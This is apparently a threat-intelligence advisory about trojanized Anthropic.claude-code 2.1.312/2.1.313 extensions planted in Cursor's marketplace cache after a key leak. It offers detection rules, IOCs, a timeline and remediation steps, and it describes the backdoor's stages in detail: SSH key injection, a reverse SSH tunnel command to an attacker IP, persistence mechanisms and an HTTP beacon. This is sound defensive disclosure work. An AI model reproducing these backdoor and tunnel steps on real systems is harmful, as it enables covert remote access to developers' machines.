Cursor Supply-Chain Compromise: Leaked Fireworks AI Key Leads to Backdoored Anthropic.claude-code Extension (2.1.312/2.1.313) in Cursor Marketplace Cache

Key facts

Detection coverage

As of 2026-11-14, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-6061 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Cursor/VS Code Extension Host Spawns SSH Backdoor Setup or Host Recon (Trojanized Anthropic.claude-code)

Detects the Stage 1/2 behaviour of the trojanized Anthropic.claude-code 2.1.312/2.1.313 extension (TL-2026-6061): the IDE or its Node extension host spawning child commands that reference the svc-telemetry SSH key label, authorized_keys, OpenSSH.Server installation, scheduled task SysMon creation, public-IP lookups (ifconfig.me / api.ipify.org) or the attacker server 134.209.82.225. The modified extension.js loader runs on extension activation with no user interaction, so parent-child process lineage from the IDE is the earliest reliable behavioural signal.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1195.002, T1059.007, T1082
• Data sources: sysmon, XmlWinEventLog:Microsoft-Windows-Sysmon/Operational, DeviceProcessEvents
• Severity: high
• Confidence: high

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 (ParentImage="*Cursor.exe" OR ParentImage="*Code.exe" OR ParentImage="*node.exe")
 (CommandLine="*svc-telemetry*" OR CommandLine="*authorized_keys*" OR CommandLine="*OpenSSH.Server*" OR CommandLine="*134.209.82.225*" OR CommandLine="*ifconfig.me*" OR CommandLine="*api.ipify.org*" OR (CommandLine="*schtasks*" CommandLine="*SysMon*") OR CommandLine="*.config*smt*")
| eval ioc_hit=case(like(CommandLine,"%svc-telemetry%"),"ssh_key_label", like(CommandLine,"%134.209.82.225%"),"c2_ip", like(CommandLine,"%OpenSSH.Server%"),"openssh_install", like(CommandLine,"%SysMon%"),"sysmon_task", like(CommandLine,"%authorized_keys%"),"authorized_keys", true(),"recon_or_backdoor_script")
| stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as commands values(Image) as child_images values(ioc_hit) as ioc_hits by host User ParentImage
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("Cursor.exe", "Code.exe", "node.exe", "Cursor", "Code", "node", "Cursor Helper (Plugin)")
| where ProcessCommandLine has_any ("svc-telemetry", "authorized_keys", "134.209.82.225", "OpenSSH.Server", "setremotelogin", "ifconfig.me", "api.ipify.org", ".config/.smt", "smt.cmd")
    or (ProcessCommandLine has "schtasks" and ProcessCommandLine has "SysMon")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine

Sigma

title: IDE Extension Host Spawns SSH Backdoor Setup or Host Recon - TL-2026-6061
id: 6f1c0b52-3a7e-4d1e-9a52-7d2c8e41b6a1
status: experimental
description: Detects Cursor or VS Code spawning commands tied to the trojanized Anthropic.claude-code 2.1.312/2.1.313 loader - svc-telemetry key label, authorized_keys edits, OpenSSH.Server install, SysMon scheduled task, public-IP lookups or the 134.209.82.225 server.
references:
    - https://cursor.com/blog/claude-code-extension-security-notice
    - https://www.ox.security/blog/malicious-claude-code-extension-cursor-ssh-backdoor/
author: Threadlinqs Team
date: 2026-11-14
tags:
    - attack.initial-access
    - attack.t1195.002
    - attack.execution
    - attack.t1059.007
    - attack.discovery
    - attack.t1082
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\Cursor.exe'
            - '\Code.exe'
    selection_cli:
        CommandLine|contains:
            - 'svc-telemetry'
            - 'authorized_keys'
            - 'OpenSSH.Server'
            - '134.209.82.225'
            - 'ifconfig.me'
            - 'api.ipify.org'
    selection_task:
        CommandLine|contains|all:
            - 'schtasks'
            - 'SysMon'
    condition: selection_parent and (selection_cli or selection_task)
falsepositives:
    - Developers legitimately editing authorized_keys or querying their public IP from an IDE terminal
level: high

Known false positives:

• Developers running ssh-keygen/authorized_keys edits or curl ifconfig.me from the Cursor/VS Code integrated terminal
• Legitimate extensions that look up the public IP via ifconfig.me or api.ipify.org (the IP lookup alone is low fidelity)

Tuning notes: Treat svc-telemetry, 134.209.82.225, OpenSSH.Server and the SysMon task as high-fidelity hits; require ifconfig.me/api.ipify.org matches to co-occur with another indicator or the extension.js write (see KQL-001). Add macOS/Linux EDR parent names (Cursor Helper (Plugin), Electron) if not already covered by your sensor.

• 🔒 Trojanized Anthropic.claude-code 2.1.312/2.1.313 Extension Artifacts on Disk · unlock with TL Creds
• 🔒 macOS/Linux Backdoor Persistence: com.apple.sysmond LaunchAgent, .smt Scripts, cron @reboot · unlock with TL Creds
• 🔒 Reverse SSH Tunnel via ssh/autossh to tunnel@[indicator] with Backdoor Options · unlock with TL Creds
• 🔒 IDE Process Resolves Public-IP Lookup Services (Stage 1 Host Recon) · unlock with TL Creds
• 🔒 IDE Process Writes SSH authorized_keys (svc-telemetry Key Persistence) · unlock with TL Creds
• 🔒 HTTP POST Beacon to [indicator]:8099/beacon via Proxy Logs · unlock with TL Creds
• 🔒 Windows SysMon Scheduled Task and Startup sysmon.cmd Persistence (Trojanized claude-code Extension) · unlock with TL Creds
• 🔒 Endpoint Connection to Attacker Server [indicator] (Reverse SSH Tunnel and HTTP Beacon) · unlock with TL Creds

Indicators of compromise

As of 2026-11-14, Threadlinqs Intelligence tracks 20 indicators of compromise for TL-2026-6061.

Sample indicators (3 of 20)

• IP address: 134.209.82[.]225
• File hash: fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364
• File hash: 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081

Defanged, TLP:CLEAR. Full set of 20 indicators: unlock with TL Creds.

Technical analysis

The builds were available for about 11 hours and reached at most 5,000 users. They added an SSH key labeled svc-telemetry, attempted a reverse SSH tunnel to 134.209.82.225 and installed persistence.

Cursor's incident update of 2026-11-13 states that the attacker obtained an access key Cursor had issued to Fireworks AI, which Fireworks had exposed. The key gave read-only access to a storage bucket that Cursor used to share data with Fireworks. The bucket held limited coding agent traces, mostly from 2025, from sessions outside Privacy Mode. Some traces contained unredacted credentials. Cursor says fewer than 0.05% of non-Privacy Mode users had traces exposed and fewer than 0.01% of customers had API credentials exposed. Using credentials found in the data, the attacker reached select internal services. These held archived non-production source repositories, limited support records and emails, usage metrics and contact details, summaries of some coding agent conversations, and credentials some users had sent to support. Cursor says Privacy Mode prompts, customer code repositories and official Cursor updates were not affected.

On 2026-10-29 the attacker used a stolen credential to place unauthorized copies of the Anthropic.claude-code extension, versions 2.1.312 and 2.1.313 (darwin-arm64 and win32-x64), in the cache that serves the Cursor VS Code extension marketplace. The packages were available from about 2:27 AM to 1:35 PM PT, roughly 11 hours. At most 5,000 users who requested those cached versions could have received them. That is a potential count, not a confirmed number of infections. Cursor and OX Security state that Anthropic did not publish the packages, that this was not a vulnerability in Anthropic's product, and that Open VSX never hosted the malware. Cursor has not published how the modified build was uploaded beyond the stolen credential.

Per OX Security's analysis, the only modified file is extension.js, which runs a loader when the extension activates. No Claude conversation is needed to trigger it. Stage 1 collects hostname, username, OS, architecture, home directory, environment variable names (not values), working directories, git email and public IP. The public IP lookup uses ifconfig.me and api.ipify.org, which are legitimate services. Stage 2 appends an attacker ssh-ed25519 key labeled svc-telemetry to authorized_keys and tries to enable the SSH service (systemsetup -setremotelogin on on macOS, Add-WindowsCapability OpenSSH.Server on Windows). This usually fails because the extension lacks admin rights, but the key and persistence are still installed. It then attempts a reverse tunnel to tunnel@134.209.82.225 on TCP 22 using ssh -N -R '*:0:localhost:22' or autossh -M 0, with StrictHostKeyChecking=no, ServerAliveInterval=30 and ExitOnForwardFailure=yes. Stage 3 installs persistence and retries about every 60 seconds. On macOS this is the LaunchAgent com.apple.sysmond. On Windows it is a scheduled task named SysMon (attempted as SYSTEM) with a Startup-folder fallback sysmon.cmd. The IOC table also lists a Linux cron @reboot entry. The beacon is an HTTP POST to http://134.209.82.225:8099/beacon with host and backdoor status, and a loopback attempt to 127.0.0.1:8099/beacon is also recorded. Cursor says coding errors and missing administrator rights blocked remote login on most hosts. It did not rule out other malicious changes or host data collection.

Uninstalling the extension alone does not remove the standalone persistence scripts or the SSH key. Cursor's 2026-10-30 notice provides remediate-macos.sh and remediate-windows.ps1. Cursor's response included deactivating the Fireworks key, moving inference off Fireworks, rotating credentials, rebuilding the marketplace store and expanding secret scanning. Last observed attacker activity was 2026-11-01 and was blocked.

Attribution caveat: no source names a threat actor for the Cursor intrusion. Fireworks' own bulletin (2026-11-09) describes a separate October 23-24 incident reached through a third-party cloud provider hosting its R&D machines. It links that activity to a financially motivated 'LLMJacking' group. That bulletin does not mention Cursor or the Cursor key, and no source ties that group to the extension tampering. BeaconBeagle was queried for 134.209.82.225 but returned HTTP 502 on both attempts, so no C2 correlation is recorded. Severity HIGH is an analyst assessment, not a source-stated value.

MITRE ATT&CK techniques by tactic:

Defense Evasion

T1036.004 Masquerade Task or Service

Persistence

T1053.003 Cron; T1053.005 Scheduled Task; T1098.004 SSH Authorized Keys; T1543.001 Launch Agent; T1547.001 Registry Run Keys / Startup Folder

Execution

T1059.007 JavaScript

Command and Control

T1071.001 Web Protocols; T1572 Protocol Tunneling

Initial Access

T1078 Valid Accounts; T1195.002 Compromise Software Supply Chain

Discovery

T1082 System Information Discovery

Collection

T1530 Data from Cloud Storage

Credential Access

T1552 Unsecured Credentials

Remediation

Patches

• Cursor removed the malicious packages and rebuilt the marketplace store; no fixed version is named in Cursor's notice

Immediate actions

• Check ~/.ssh/authorized_keys (macOS/Linux) and %USERPROFILE%\.ssh\authorized_keys plus C:\ProgramData\ssh\administrators_authorized_keys (Windows) for the svc-telemetry key
• Isolate any host where the key, persistence or tunnel is found
• Hunt endpoint, network and extension-install telemetry for Anthropic.claude-code 2.1.312/2.1.313 installed from the Cursor marketplace on 2026-10-29 (about 02:27-13:35 PT)
• Block and alert on connections to 134.209.82.225 on TCP 22 and TCP 8099
• Remove the unauthorized SSH key, persistence (LaunchAgent com.apple.sysmond, scheduled task SysMon, Startup sysmon.cmd, cron @reboot entry) and running ssh/autossh tunnel processes
• Run Cursor's remediate-macos.sh (as the affected user, not root) or remediate-windows.ps1 (elevated PowerShell)

Workarounds

• Egress-filter outbound SSH from developer workstations
• Alert on creation of new authorized_keys entries and new LaunchAgents or scheduled tasks by IDE processes

Longer-term hardening

• Rotate credentials, tokens and sessions reachable from affected hosts, from a trusted system
• Assess whether affected hosts should be rebuilt, because uninstalling the extension does not remove the standalone persistence
• Scrub secrets from coding agent traces and logs before sharing data with vendors
• Restrict and monitor third-party and vendor access keys, and enable secret scanning
• Control IDE extension installation and pin or allowlist extension sources

Affected and fixed versions

• Cursor (Anysphere) — Cursor VS Code extension marketplace cache - Anthropic.claude-code extension
  Vulnerable versions: Anthropic.claude-code 2.1.312 (darwin-arm64, win32-x64); Anthropic.claude-code 2.1.313 (darwin-arm64, win32-x64)
• Fireworks AI — Access key issued by Cursor to Fireworks (read-only shared storage bucket)

Timeline

• 2026-10-24 Fireworks AI separately reports that an unauthorized party reached its development machines via a third-party cloud provider (incident began 2026-10-23). Fireworks' bulletin does not mention Cursor; Cursor says the key it issued to Fireworks was exposed by Fireworks.
• 2026-10-29 Malicious packages are discovered and removed from the marketplace by about 1:35 PM PT (roughly 11 hours of exposure, at most 5,000 users who requested those cached versions). Cursor shuts down and rebuilds the marketplace and rotates its keys.
• 2026-10-29 Using a stolen credential, the attacker places modified Anthropic.claude-code 2.1.312 and 2.1.313 (darwin-arm64, win32-x64) in the cache serving Cursor's VS Code extension marketplace, available from about 2:27 AM PT.
• 2026-10-30 Cursor publishes a security notice with IOCs, remediation steps and check scripts (remediate-macos.sh, remediate-windows.ps1), and begins notifying affected users and admins.
• 2026-11-01 Last observed attacker activity, which Cursor says was blocked.
• 2026-11-09 Fireworks AI publishes an update on its October 2026 security incident, linking its activity to a financially motivated 'LLMJacking' group; the update does not mention Cursor.
• 2026-11-13 Cursor publishes its security incident update connecting the Fireworks-exposed key to the October 29 packages and describing its response (key deactivated, inference moved off Fireworks, credentials rotated, marketplace rebuilt).
• 2026-11-14 Cyber Security News publishes coverage of Cursor's root-cause disclosure.

Sources cited

• Cursor security incident update cursor.com · Vendor report · 2026-11-13
• Cursor Claude Code extension security notice (IOCs and cleanup) cursor.com · Vendor report · 2026-10-30
• OX Security: Malicious Claude Code extension in Cursor - SSH backdoor analysis ox.security · Research
• Fireworks AI security bulletin: October 2026 security incident update fireworks.ai · Vendor report · 2026-11-09
• Cursor Reveals How a Leaked Fireworks AI Key Led to a Backdoored Claude Code Extension cybersecuritynews.com · News · 2026-11-14

More in supply chain

• nDiligence 'Attack the Glass' (ATG): Runtime Client-Side Rendering Supply-Chain Vulnerability Class Across 50 Platform Types
• Binance Hack: Tampered Homebrew Package Delivers macOS Stealer; Infostealers and AI-Powered Profiling Feed Social Engineering (TraderTraitor attribution)
• wfx-loot: GitHub Actions CI secret stealer pushed to public repositories using stolen GitHub credentials
• Quantum Systems QBase ground-control software update reportedly malware-laden; Bundeswehr drones grounded as precaution
• TOPHIT: One-operator npm typosquat flood (@prime0 scope, 85 packages) co-hosted with GPU-cryptojacking C2

Further reading

• TeamPCP Supply Chain Attack on Trivy, LiteLLM
• Anthropic AI Misuse Report (Sept 2026) Mapped
• Axios Supply Chain Attack: Cross-Platform RATs